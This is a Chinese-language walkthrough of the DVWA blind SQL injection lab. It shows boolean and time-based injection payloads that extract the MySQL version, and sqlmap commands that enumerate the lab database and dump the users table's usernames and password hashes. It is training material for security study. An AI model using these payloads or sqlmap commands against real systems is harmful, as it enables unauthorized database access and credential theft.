About
当不能直接通过显示数据来获得数据库数据时,需要使用其他方式判断或者尝试,这个过程
就是盲注。盲注有两个类型:
- 基于布尔盲注:根据页面返回内容判断
- 基于时间盲注:根据页面响应时间判断
和盲注相关的函数如下:
- 获取数据库长度:
length(database())>7
- 返回数据库第一位:
left(database(), 1)>'a';
- 返回 user 的第一个字符的 ASCII 码:
ascii(user())>113
- 延时函数:
sleep()
Object
通过 SQL 盲注找到后台数据库的版本。
001 Low
- 文本框输入并提交的形式,GET 请求方式;
- 未作任何输入过滤和限制,攻击者可任意构造所想输入的 SQL 查询;
布尔盲注
判断注入类型
我们构造一组查询,结果如下:
输入 | 输出 |
---|---|
1 |
exists |
' |
MISSING |
1 and 1=1 # |
exists |
1 and 1=2 # |
exists |
1' and 1=1 # |
exists |
1' and 1=2 # |
MISSING |
由于最后 2 个输入的真假条件不同,返回结果也不同,由此观之是字符型注入。
获得版本号
猜解长度
这里我们要用length()
函数来获得字符串长度,用substr(string, start, length)
函数来截取字符串。我们构造一组查询,结果如下:
输入 | 输出 |
---|---|
1' and length(substr((select version()), 1)) > 10 # |
MISSING |
1' and length(substr((select version()), 1)) > 5 # |
exists |
1' and length(substr((select version()), 1)) = 6 # |
exists |
使用二分查找,我们很快得知版本号所在的字符串长度为6
猜解内容
MySql 的版本号构成为:
- 主版本号
- 此版本号
- 修订版本号
各个版本号直接依次用.
字符连接。MySQL 流行的主版本号要么是 5 要么是 8。我们猜一猜:
1' and substr((select version()), 1, 1) = '5' #
说明 MySql 的主版本号是 5。
依次使用二分查找,构造如下输入表:
输入 | 输出 |
---|---|
1' and substr((select version()), 2, 1) = '.' # |
exists |
1' and substr((select version()), 3, 1) > '7' # |
MISSING |
1' and substr((select version()), 3, 1) = '7' # |
exists |
1' and substr((select version()), 4, 1) = '.' # |
exists |
1' and substr((select version()), 5, 2) > '25' # |
exists |
1' and substr((select version()), 5, 2) < '30' # |
exists |
1' and substr((select version()), 5, 2) = '26' # |
exists |
总结得到版本号为:5.7.26
。
时间盲注
所谓时间盲注是利用 sleep()
或 benchmark()
等函数让 Mysql 执行时间变长,通过执行的时间判断是否查询成功。时间盲注经常与 if(expr1,expr2,expr3)
语句结合使用,通过页面的响应时间来判断条件是否正确。
判断注入类型
构造输入表:
输入 | 输出 |
---|---|
1 and sleep(3) # |
页面很快响应 |
1' and sleep(3) # |
页面明显卡顿 |
由此观之服务器存在字符型注入。
获得版本号
猜解长度
if(expr1, expr2, expr3)
的含义是:如果expr1
为真,则返回expr2
,否则返回expr3
。我们继续结合二分查找来锁定版本号的长度。
输入 | 输出 |
---|---|
1' and if(length(substr((select version()),1)) > 10, sleep(3), 1) # |
响应快 |
1' and if(length(substr((select version()),1)) > 5, sleep(3), 1) # |
响应慢 |
1' and if(length(substr((select version()),1)) = 6, sleep(3), 1) # |
响应慢 |
由此观之,版本号的长度为 6。
猜解内容
和基于布尔的盲注类似。我们输入
1' and if(substr((select version()),1,1) = '5' , sleep(3), 1) #
来猜解主版本号。观察到响应速度很慢。剩余信息的查找如下:
1' and if(substr((select version()),2,1) = '.' , sleep(3), 1) #
1' and if(substr((select version()),3,1) = '7' , sleep(3), 1) #
1' and if(substr((select version()),4,1) = '.' , sleep(3), 1) #
1' and if(substr((select version()),5,2) = '26' , sleep(3), 1) #
所以版本号为:5.7.26
。
002 Medium
- 下拉列表选择数字 ID 并提交的形式,限制用户在客户端的输入,POST 请求方式;
- 利用
mysql_real_escape_string()
函数对特殊符号(如:单引号'
、双引号"
、反斜杠\
…)进行转义处理;
我们可以用 Hackbar 来辅助我们发送 POST 请求。
布尔盲注
判断注入类型
输入表:
输入(POST DATA) | 输出 |
---|---|
id=1' or '1'='1 # &Submit=Submit |
MISSING |
id=1 or 1=1 # &Submit=Submit |
exists |
由此观之是数字型注入。
获得版本号
猜解长度
输入:id=1 and length(substr((select version()), 1)) = 6 # &Submit=Submit
说明长度为 6。
猜解内容
单引号在中级别的代码中被过滤了,不过我们可以使用 ASCII 码的值来代替原来单引号括起来的字符。例如注入如下内容,可以测试出版本号第一个字符为5
:
id=1 and ascii(substr((select version()),1,1)) = 53 # &Submit=Submit
剩下内容参考 Low 等级。
时间盲注
基于时间盲注也一样,需要套个 ascii 函数,用 ascii 码值进行判断。
id=1 and if(ascii(substr((select version()),1,1)) = 53 , sleep(3), 1) # &Submit=Submit
003 High
- 将数据提交页面和结果显示界面实行分离在两个不同页面,一定程度上可约束 SQLMap 自动化工具的常规方式扫描(没法完全阻挡);
- 在提交页面,利用
set-cookie
对输入的 ID 值进行传递到显示页面的 cookie 字段中保存; - 在 SQL 语句中添加
LIMIT 1
,以此限定每次输出的结果只有 1 个记录,不会输出所有记录; - 如果查询失败,会调用
sleep()
函数等待一会儿。
该等级下我们不能用时间盲注了,可以用布尔盲注完成。剩下的内容和 Low 等级差不多,直接在新弹出的页面填写 SQL 注入语句即可。
Use Sqlmap
Low Level
找到注入点
使用命令:
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=5&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b; security=low" --batch --threads 4
Sqlmap 找到了 3 各注入点:
- 布尔盲注
- 报错注入
- 时间盲注
获得数据库信息
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --dbs --threads 4
查看数据库中的表
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa --tables --threads 4
查看表里的字段
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa -T users --columns --threads 4
查看字段详细信息
我们发现 user 表里有 user 和 password 字段,我们看看它们的信息:
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa -T users -C "user,password" --dump -v 0 --threads 4 --batch
Medium Level
不同与 Low Level 使用 GET Request,本关卡使用的是 POST Request 发送数据。
例如我们要查找数据库信息,要使用--data="your_post_data"
发送 POST Body,见下列命令:
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=medium" --batch --dbs --threads 4
其他步骤和上一关一样。
References
- DVWA——SQL Injection Blind(SQL盲注) - 戚源
- DVWA 通关指南:SQL Injection-Blind(SQL 盲注) - 乌漆WhiteMoon
- DVWA全等级SQL Injection(Blind)盲注—手工测试过程解析
- Blind SQL Injections with SQLMap against the DVWA